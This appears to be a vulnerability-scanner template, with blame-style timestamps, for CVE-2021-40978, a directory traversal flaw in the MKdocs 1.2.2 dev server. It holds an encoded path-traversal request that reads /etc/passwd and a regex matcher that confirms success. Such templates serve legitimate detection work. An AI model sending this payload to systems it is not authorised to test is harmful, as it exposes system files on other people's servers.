2021-10-14 01:37:46 +00:00
id : CVE-2021-40978
info :
2022-04-21 21:16:41 +00:00
name : MKdocs 1.2.2 - Directory Traversal
2021-10-14 01:37:46 +00:00
author : pikpikcu
severity : high
2022-04-22 10:38:41 +00:00
description : The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see
references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
2021-10-14 03:53:48 +00:00
reference :
2022-03-06 16:50:17 +00:00
- https://github.com/mkdocs/mkdocs/pull/2604
2021-10-14 03:53:48 +00:00
- https://github.com/nisdn/CVE-2021-40978
- https://nvd.nist.gov/vuln/detail/CVE-2021-40978
2021-10-17 02:21:14 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-10-17 02:21:14 +00:00
cve-id : CVE-2021-40978
cwe-id : CWE-22
2022-04-21 21:16:41 +00:00
tags : cve,cve2021,mkdocs,lfi
2021-10-14 01:37:46 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0:"
part : body
- type : status
status :
- 200
2022-03-06 16:50:17 +00:00
2022-04-21 21:16:41 +00:00
# Enhanced by mp on 2022/04/20